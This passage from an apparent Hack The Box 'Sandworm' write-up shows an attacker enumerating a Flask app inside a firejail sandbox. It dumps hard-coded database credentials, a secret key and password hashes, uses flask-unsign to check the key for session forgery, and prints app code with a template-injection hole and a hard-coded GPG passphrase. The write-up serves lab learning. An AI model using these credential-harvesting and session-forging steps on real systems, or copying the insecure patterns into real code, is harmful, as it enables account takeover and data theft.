SSA


$ ll
total 44K
4.0k drwxr-xr-x 2 atlas  atlas 4.0k jun 28 17:58 submissions
4.0k drwxrwxr-x 7 atlas  atlas 4.0k jun  7 15:18 .
8.0k -rw-r--r-- 1 nobody atlas 6.8k jun  7 15:18 app.py
4.0k drwxr-xr-x 2 nobody atlas 4.0k may 30 04:54 templates
4.0k -rw-r--r-- 1 nobody atlas  746 may  4 17:45 __init__.py
4.0k drwxr-xr-x 4 nobody atlas 4.0k may  4 16:37 static
4.0k drwxr-xr-x 2 nobody atlas 4.0k may  4 15:00 __pycache__
4.0k drwxrwxr-x 3 nobody atlas 4.0k may  4 14:58 ..
4.0k -rw-r--r-- 1 nobody atlas  245 feb  2 14:43 models.py
4.0k drwxr-xr-x 5 nobody atlas 4.0k jan 31 16:20 src

Continuing to enumerate the web root directory after realizing that I am in a firejail’s Sandbox environment

init.py


$ cat __init__.py
from flask import Flask
from flask_login import LoginManager
from flask_sqlalchemy import SQLAlchemy
 
db = SQLAlchemy()
 
def create_app():
    app = Flask(__name__)
 
    app.config['SECRET_KEY'] = '91668c1bc67132e3dcfb5b1a3e0c5c21'
    app.config['SQLALCHEMY_DATABASE_URI'] = 'mysql://atlas:GarlicAndOnionZ42@127.0.0.1:3306/SSA'
 
    db.init_app(app)
 
    # blueprint for non-auth parts of app
    from .app import main as main_blueprint
    app.register_blueprint(main_blueprint)
 
    login_manager = LoginManager()
    login_manager.login_view = "main.login"
    login_manager.init_app(app)
    
    from .models import User
    @login_manager.user_loader
    def load_user(user_id):
        return User.query.get(int(user_id))
 
    return app

The __init__.py file contains the secret_key as well as the SQL connection string that contains a DB credential The DB credential returned negative for password reuse

mysql


I am connecting to the mysql instance as the silentobserver user after gaining the lateral movement This is because the current session at the atlas user is limited to the firejail’s sandbox environment. (no mysql)

silentobserver@sandworm:/opt$ mysql -uatlas -pGarlicAndOnionZ42
mysql: [Warning] Using a password on the command line interface can be insecure.
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 15038
server version: 8.0.33-0ubuntu0.22.04.2 (Ubuntu)
 
Copyright (c) 2000, 2023, Oracle and/or its affiliates.
 
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
 
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
 
mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| SSA                |
| information_schema |
| performance_schema |
+--------------------+
3 rows in set (0.00 sec)
 
mysql> use SSA;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
 
Database changed
mysql> show tables;
+---------------+
| Tables_in_SSA |
+---------------+
| users         |
+---------------+
1 row in set (0.01 sec)
 
mysql> select * from users;
+----+----------------+--------------------------------------------------------------------------------------------------------+
| id | username       | password                                                                                               |
+----+----------------+--------------------------------------------------------------------------------------------------------+
|  1 | odin           | pbkdf2:sha256:260000$q0WZMG27Qb6XwVlZ$12154640f87817559bd450925ba3317f93914dc22e2204ac819b90d60018bc1f |
|  2 | silentobserver | pbkdf2:sha256:260000$kGd27QSYRsOtk7Zi$0f52e0aa1686387b54d9ea46b2ac97f9ed030c27aac4895bed89cb3a4e09482d |
+----+----------------+--------------------------------------------------------------------------------------------------------+
2 rows in set (0.00 sec)

The users table contains 2 credential hashes Those aren’t familiar at all

Session Token


┌──(kali㉿kali)-[~/archive/htb/labs/sandworm]
└─$ flask-unsign --wordlist ./SECRET_KEY --unsign --cookie 'eyJfZnJlc2giOmZhbHNlfQ.ZJxy9g.LLbP3KFXlZnwgihTEbGSX4JD8Zo' --no-literal-eval 
[*] Session decodes to: {'_fresh': False}
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 1 attemptsfb5b1a3e0c5c
b'91668c1bc67132e3dcfb5b1a3e0c5c21'

However, I was able to validate the secret_key to decode the session token. I might be able to hijack and forge a session token to access the admin GUI panel of the web application

models.py


$ cat models.py
from . import db
from flask_login import UserMixin
 
class user(db.model, usermixin):
    __tablename__ = 'users'
    id = db.Column(db.Integer, primary_key=True)
    password = db.Column(db.String(100))
    username = db.Column(db.String(1000))

This declares the User.users table

app.py


$ cat app.py
from flask import Flask, render_template, Response, flash, request, Blueprint, redirect, flash, url_for, render_template_string, jsonify
from flask_login import login_required, login_user, logout_user
from werkzeug.security import check_password_hash
import hashlib
from . import db
import os
from datetime import datetime
import gnupg
from SSA.models import User
 
main = Blueprint('main', __name__)
 
gpg = gnupg.GPG(gnupghome='/home/atlas/.gnupg', options=['--ignore-time-conflict'])
 
@main.route("/")
def home():
    return render_template("index.html", name="home")
 
@main.route("/about")
def about():
    return render_template("about.html", name="about")
 
@main.route("/contact", methods=('GET', 'POST',))
def contact():
    if request.method == 'GET':
        return render_template("contact.html", name="contact")
    tip = request.form['encrypted_text']
    if not validate(tip):
        return render_template("contact.html", error_msg="Message is not PGP-encrypted.")
 
    msg = gpg.decrypt(tip, passphrase='$M1DGu4rD$')
 
    if msg.data == b'':
        msg = 'Message was encrypted with an unknown PGP key.'
    else:
        tip = msg.data.decode('utf-8')
        msg = "Thank you for your submission."
 
    save(tip, request.environ.get('HTTP_X_REAL_IP', request.remote_addr))
    return render_template("contact.html", error_msg=msg)
 
 
@main.route("/guide", methods=('GET', 'POST'))
def guide():
    if request.method == 'GET':
        return render_template("study.html", name="guide")
 
    elif request.method == 'POST':
        encrypted = request.form['encrypted_text']
    
        if not validate(encrypted):
            pass
    
        msg = gpg.decrypt(encrypted, passphrase='$M1DGu4rD$')
    
        if msg.data == b'':
            msg = 'Message was encrypted with an unknown PGP key.'
        else:
            msg = msg.data.decode('utf-8')
     
        return render_template("study.html", name="guide", dec_msg=msg)
 
@main.route("/guide/encrypt", methods=('GET', 'POST',))
def encrypt():
    if request.method == 'GET':
        return render_template("study.html")
 
    pubkey = request.form['pub_key']
 
    import_result = gpg.import_keys(pubkey)
 
    if import_result.count == 0:
        return render_template("study.html", error_msg_pub="Invalid key format.")
 
    fp = import_result.fingerprints[0]
    now = datetime.now().strftime("%m/%d/%Y-%H;%M;%S") 
    key_uid = ', '.join([key['uids'] for key in gpg.list_keys() if key['fingerprint'] == fp][0])
    message = f"""This is an encrypted message for {key_uid}.\n\nIf you can read this, it means you successfully used your private PGP key to decrypt a message meant for you and only you.\n\nCongratulations! Feel free to keep practicing, and make sure you also know how to encrypt, sign, and verify messages to make your repertoire complete.\n\nSSA: {now}"""
    enc_msg = gpg.encrypt(message, recipients=fp, always_trust=True)
 
    if not enc_msg.ok:
        return render_template("study.html", error_msg="Something went wrong.")
 
    return render_template("study.html", enc_msg=enc_msg)
 
@main.route("/guide/verify", methods=('GET', 'POST',))
def verify():
    if request.method == 'GET':
        return render_template("study.html")
 
    signed = request.form['signed_text']
    pubkey = request.form['public_key']
 
    if signed and pubkey:
        import_result = gpg.import_keys(pubkey)
        if import_result.count == 0:
            return render_template("study.html", error_msg_key="Key import failed. Make sure your key is properly formatted.")
        else:
            fp = import_result.fingerprints
            verified = gpg.verify(signed)
            if verified.status == 'signature valid':
                msg = f"Signature is valid!\n\n{verified.stderr}"
            else:
                msg = "Make sure your signed message is properly formatted."
 
            # Cleanup - delete key
            gpg.delete_keys(fp)
            return render_template("study.html", error_msg_sig=msg)
 
    return render_template("study.html", error_msg_key="Something went wrong.")
 
@main.route("/process", methods=("POST",))
def process_form():
    signed = request.form['signed_text']
    pubkey = request.form['public_key']
 
    if signed and pubkey:
        import_result = gpg.import_keys(pubkey)
        if import_result.count == 0:
            msg = "Key import failed. Make sure your key is properly formatted."
        else:
            fp = import_result.fingerprints
            verified = gpg.verify(signed)
            if verified.status == 'signature valid':
                msg = f"Signature is valid!\n\n{verified.stderr}"
            else:
                msg = "Make sure your signed message is properly formatted."
            # Cleanup - delete key
            gpg.delete_keys(fp)
 
    return render_template_string(msg)
 
 
@main.route("/pgp")
def pgp():
    return render_template("pgp.html", name="pgp")
 
@main.route("/admin")
@login_required
def admin():
    entries = []
    with open('SSA/submissions/log', 'r') as f:
        for i, line in enumerate(f):
            if i <= 7:
                continue
            ip, fname, dtime = line.strip().split(":")
            entries.append({
                'id': i-7,
                'ip': ip,
                'fname': fname,
                'dtime': dtime
                })
 
    return render_template("admin.html", name="admin", entries=entries)
 
@main.route("/view", methods=('GET', 'POST',))
@login_required
def view():
    fname = request.args.get('fname')
 
    try:
        if not fname.endswith('.txt'):
            flask.abort(400)
        with open(f"SSA/submissions/{fname}", 'r') as f:
            msg = f.read()
    except Exception as _:
        msg = 'Something went wrong.'
 
    return render_template("view.html", name="view", dec_msg=msg)
 
@main.route("/login", methods=('GET', 'POST'))
def login():
    if request.method == 'GET':
        return render_template("login.html", name="login")
    
    uname = request.form['username']
    pwd = request.form['password']
 
    user = User.query.filter_by(username=uname).first()
 
    if not user or not check_password_hash(user.password, pwd):
        flash('Invalid credentials.')
        return redirect(url_for('main.login'))
 
    login_user(user, remember=True)
 
    return redirect(url_for('main.admin'))
 
@main.route("/logout")
@login_required
def logout():
    logout_user()
    return redirect(url_for('main.home'))
 
def validate(msg):
    if msg[:27] == '-----BEGIN PGP MESSAGE-----' and msg[-27:].strip() == '-----END PGP MESSAGE-----':
        return True
    return False
 
def save(msg, ip):
    fname = os.urandom(16).hex() + ".txt"
    now = datetime.now().strftime("%m/%d/%Y-%H;%M;%S") 
    with open("SSA/submissions/log", "a") as f:
        f.write(f"{ip}:{fname}:{now}\n")
    with open(f"SSA/submissions/{fname}", "w") as f:
        f.write(msg)

While it may appear confusing with a lot of lines of code, there is a line that specifies the gpg decryption along with the hard-coded passphrase; $M1DGu4rD$ The gpg decryption is for the submissions made from the web server at /contact

Submissions


$ ll submissions
total 36K
4.0k drwxr-xr-x 2 atlas  atlas 4.0k jun 29 12:06 .
4.0k drwxrwxr-x 7 atlas  atlas 4.0k jun  7 15:18 ..
4.0k -rw-rw-r-- 1 nobody atlas  592 jun 28 17:58 log
4.0k -rw-r--r-- 1 atlas  atlas   19 jun 28 17:58 1b3f393343c44f6ceae7d14642126938.txt
4.0k -rw-r--r-- 1 atlas  atlas   49 jun 28 17:56 3253e49d7ec99dcc0780add46c0d4bc7.txt
4.0k -rw-rw-r-- 1 atlas  atlas 1.4k may  4 13:44 0e3519af4cb9cd64d3f525aa87bc39bd.txt
4.0k -rw-r--r-- 1 atlas  atlas 1.4k may  4 13:44 5a296231ac2bc1ba8316d7ce842f9ee9.txt
4.0k -rw-rw-r-- 1 atlas  atlas   88 feb  6 16:23 4b12e3779a166efa5edbbffb44df59bb.txt
4.0k -rw-rw-r-- 1 atlas  atlas  504 feb  6 14:17 c3fac17185b610262abc7c7ee2055cc6.txt

The directory must contains the encrypted submissions

log


$ cat log
############################################
#					   #
#	TipNet - HUMINT tip log	   	   #
#					   #
#		IP:FILENAME		   #
#					   #
############################################
 
10.10.14.59:c3fac17185b610262abc7c7ee2055cc6.txt:02/06/2023-14;17;42
10.10.14.61:4b12e3779a166efa5edbbffb44df59bb.txt:02/06/2023-16;23;11
10.10.14.40:5a296231ac2bc1ba8316d7ce842f9ee9.txt:05/04/2023-13;44;00
10.10.14.43:0e3519af4cb9cd64d3f525aa87bc39bd.txt:05/04/2023-13;44;36
10.10.14.4:3253e49d7ec99dcc0780add46c0d4bc7.txt:06/28/2023-17;56;16
10.10.14.4:1b3f393343c44f6ceae7d14642126938.txt:06/28/2023-17;58;44

The log file shows a banner with the logs The last 2 logs are from me

$ cat c3fac17185b610262abc7c7ee2055cc6.txt
The path of the righteous man is beset on all sides by the inequities of the selfish and the tyranny of evil men. 
 
Blessed is he who, in the name of charity and good will, shepherds the weak through the valley of the darkness, for he is truly his brother's keeper and the finder of lost children. 
 
And I will strike down upon thee with great vengeance and furious anger those who attempt to poison and destroy My brothers. 
 
And you will know I am the Lord when I lay My vengeance upon you.
 
- Ezekiel
$ cat 4b12e3779a166efa5edbbffb44df59bb.txt
Selling a iOS zero-click 0day.
 
Price is USD 8.500.000 in unmarked DOGE coins.
 
- SPECTR

The two first logs contains some arbitrary texts

$ cat 5a296231ac2bc1ba8316d7ce842f9ee9.txt
-----BEGIN PGP MESSAGE-----
 
hQIMA8bU3bnuA8wsAQ/9Ff4sl+aJKwKtlWDx7o38uKld5kyiuA7AE3M517LjeZx8
b08D+OiKIF48bHQfWzX2aV5i8BED5yGjQOZ9UVcUqbAhg1Lj93LwY+LJagjFVwBu
0Wehwf4sZ2PV3qe6LzfnmJ7JRUrbo1pgCB5owoPPwjCMAYv98XEjpiGVCJ9Ep9Q/
3m6DOLD0MiOaSnKF8vyH18EDurAT9taa34ncemdJyDmJQAafriStbjDpGEVK/f6U
Tbh1Lox9RbrLNOc3vJtIL/URjqMgT4eJ87oU6HzeXViJPTPfSZwM197xBlverSQp
thCyDCZvgkTyd3iJkUASzxGfvegsS3ji7L01ihfsVPo+Iro3Oms0FHaQR/sD65d2
iIg0CDzPoyM+qbGrkEOfpS3YwQq/EaTZ5hyUkJ6MEM8DV5zreZxi+AUnRe2ORJiS
raxZYZqZ4gqkCisq03i9PueKu62ltHXzLD5quWpGEyzz6ZayCehXH1f1Zhwh2dx0
GgjbV2zaRLpgUJdxpbJNBeoOyMj/+HXROsNYxT8gVAaF8O1GyVOafp24xfnguGJ7
BzyPbqJZFjQGE8v3LOVz24C63Xb2/wB7LyKwkmSS2Xi4CKEc3Cxwv+mr0C9KU85k
tXdiMpdOARKtQYJqNrkfSK3xMYrKl8mnWZ2V23LjG+c1bPVYKwdGo29VH7Y5kizS
wOsBCQ1Z/0j5MEGi4kB5k21x9pF/covPZYDKNhFGM3LsgSOum9/76sZg6WpBrdaU
n7qkzRn1+IDYVUvqhhfrdq2lXYinS2BHCAxxbatYrsdsgmngL8i/tchE7i7HonjG
zV40TSck+v1BbtIVJCCpm7VYRpcT2ANDjOu2CFNkM8r/sGZWVgPMazjv4lT+o5LL
M6K34+s083XxNsPej0eGcoUYEFV26nuQqr9iUP7Zjjsx7mrohQxqUAWJlXwdYIHU
zx/Zp0JnlhB5i/oPVFbHIcRiX9fGYLUHAZfZg0ZUDPW7Qfo0OMgkBGOSnGaFMoav
L5poXd4ylPyHVe8Z3VsTtbEc0MtfrHZ1eSky3OviR8TMSdRN7MrPXFJNloH3TYPY
xYn8Y+9+jBe7U8pqcoikERU0KTfvO6Nn6sM10pXpbpG4KGJdQACVeUt9jQq7XJ4B
UaAgU/GyrIiUw5dbX9vZYXy0COxADi06rxDqHCOulj3cSgmfBLv2cNv/Fc0UzC6S
APm+EMHksokj+/h8pB9rlZcFSi40P5J6S2dCVwwkBeBKvzAj+t0BCkGijVEz
=ev46
-----END PGP MESSAGE-----
$ cat 0e3519af4cb9cd64d3f525aa87bc39bd.txt
-----BEGIN PGP MESSAGE-----
 
hQIMA8bU3bnuA8wsAQ/9Ff4sl+aJKwKtlWDx7o38uKld5kyiuA7AE3M517LjeZx8
b08D+OiKIF48bHQfWzX2aV5i8BED5yGjQOZ9UVcUqbAhg1Lj93LwY+LJagjFVwBu
0Wehwf4sZ2PV3qe6LzfnmJ7JRUrbo1pgCB5owoPPwjCMAYv98XEjpiGVCJ9Ep9Q/
3m6DOLD0MiOaSnKF8vyH18EDurAT9taa34ncemdJyDmJQAafriStbjDpGEVK/f6U
Tbh1Lox9RbrLNOc3vJtIL/URjqMgT4eJ87oU6HzeXViJPTPfSZwM197xBlverSQp
thCyDCZvgkTyd3iJkUASzxGfvegsS3ji7L01ihfsVPo+Iro3Oms0FHaQR/sD65d2
iIg0CDzPoyM+qbGrkEOfpS3YwQq/EaTZ5hyUkJ6MEM8DV5zreZxi+AUnRe2ORJiS
raxZYZqZ4gqkCisq03i9PueKu62ltHXzLD5quWpGEyzz6ZayCehXH1f1Zhwh2dx0
GgjbV2zaRLpgUJdxpbJNBeoOyMj/+HXROsNYxT8gVAaF8O1GyVOafp24xfnguGJ7
BzyPbqJZFjQGE8v3LOVz24C63Xb2/wB7LyKwkmSS2Xi4CKEc3Cxwv+mr0C9KU85k
tXdiMpdOARKtQYJqNrkfSK3xMYrKl8mnWZ2V23LjG+c1bPVYKwdGo29VH7Y5kizS
wOsBCQ1Z/0j5MEGi4kB5k21x9pF/covPZYDKNhFGM3LsgSOum9/76sZg6WpBrdaU
n7qkzRn1+IDYVUvqhhfrdq2lXYinS2BHCAxxbatYrsdsgmngL8i/tchE7i7HonjG
zV40TSck+v1BbtIVJCCpm7VYRpcT2ANDjOu2CFNkM8r/sGZWVgPMazjv4lT+o5LL
M6K34+s083XxNsPej0eGcoUYEFV26nuQqr9iUP7Zjjsx7mrohQxqUAWJlXwdYIHU
zx/Zp0JnlhB5i/oPVFbHIcRiX9fGYLUHAZfZg0ZUDPW7Qfo0OMgkBGOSnGaFMoav
L5poXd4ylPyHVe8Z3VsTtbEc0MtfrHZ1eSky3OviR8TMSdRN7MrPXFJNloH3TYPY
xYn8Y+9+jBe7U8pqcoikERU0KTfvO6Nn6sM10pXpbpG4KGJdQACVeUt9jQq7XJ4B
UaAgU/GyrIiUw5dbX9vZYXy0COxADi06rxDqHCOulj3cSgmfBLv2cNv/Fc0UzC6S
APm+EMHksokj+/h8pB9rlZcFSi40P5J6S2dCVwwkBeBKvzAj+t0BCkGijVEz
=ev46
-----END PGP MESSAGE-----

The rest are encrypted PGP message.

$ gpg --decrypt 0e3519af4cb9cd64d3f525aa87bc39bd.txt
gpg: encrypted with RSA key, ID C6D4DDB9EE03CC2C
gpg: public key decryption failed: No secret key
gpg: decryption failed: No secret key
$ gpg -K 
/home/atlas/.gnupg/pubring.kbx
------------------------------
sec   rsa4096 2023-05-04 [SC]
      D6BA9423021A0839CCC6F3C8C61D429110B625D4
uid           [ultimate] SSA (Official PGP Key of the Secret Spy Agency.) <atlas@ssa.htb>
ssb   rsa4096 2023-05-04 [E]

Although I have both private and public keys, I don’t seem to be able to decrypt the message

$ gpg --output ssa.pri --export-secret-keys atlas@ssa.htb
gpg: key A1DAAE224CC73ED81CC6382F6D8C264EBFDE13F8: error receiving key from agent: No pinentry - skipped
gpg: key 215C6EFDD5AE22794819E5A4657D9DF35A9F0CC3: error receiving key from agent: No pinentry - skipped
gpg: WARNING: nothing exported

While attempting to export the private key, the error here indicates that operation is skipped due to No pinentry

Pinentry is a program responsible for securely prompting you to enter any necessary passphrases associated with your private keys.

silentobserver@sandworm:~$ which pinentry
/usr/bin/pinentry

Checking from the silentobserver’s session, I can confirm that Pinentry is present in the target system.

The issue is likely the the current shell session as the atlas user does not permit accessing the binary due to the firejail’s sandbox environment. That’s why gpg fails to perform ANY operation that involves prompting for passphrase as the prompting is done through Pinentry

In order to read those encrypted message, I would need to get out of the firejail’s sandbox environment.

After rooting


atlas@sandworm:/var/www/html/SSA/SSA/submissions$ gpg --output ssa.private --armor --export-secret-keys
gpg: WARNING: server 'gpg-agent' is older than us (2.2.27 < 2.3.8)
gpg: Note: Outdated servers may lack important security fixes.
gpg: Note: Use the command "gpgconf --kill all" to restart them.
gpg: problem with fast path key listing: IPC parameter error - ignored

I tried exporting the private key using the hard-coded passphrase

atlas@sandworm:/var/www/html/SSA/SSA/submissions$ gpg --decrypt 5a296231ac2bc1ba8316d7ce842f9ee9.txt
gpg: encrypted with RSA key, ID C6D4DDB9EE03CC2C
gpg: WARNING: server 'gpg-agent' is older than us (2.2.27 < 2.3.8)
gpg: Note: Outdated servers may lack important security fixes.
gpg: Note: Use the command "gpgconf --kill all" to restart them.
gpg: problem with fast path key listing: IPC parameter error - ignored
gpg: public key decryption failed: No secret key
gpg: decryption failed: No secret key

Still can’t decrypt the messages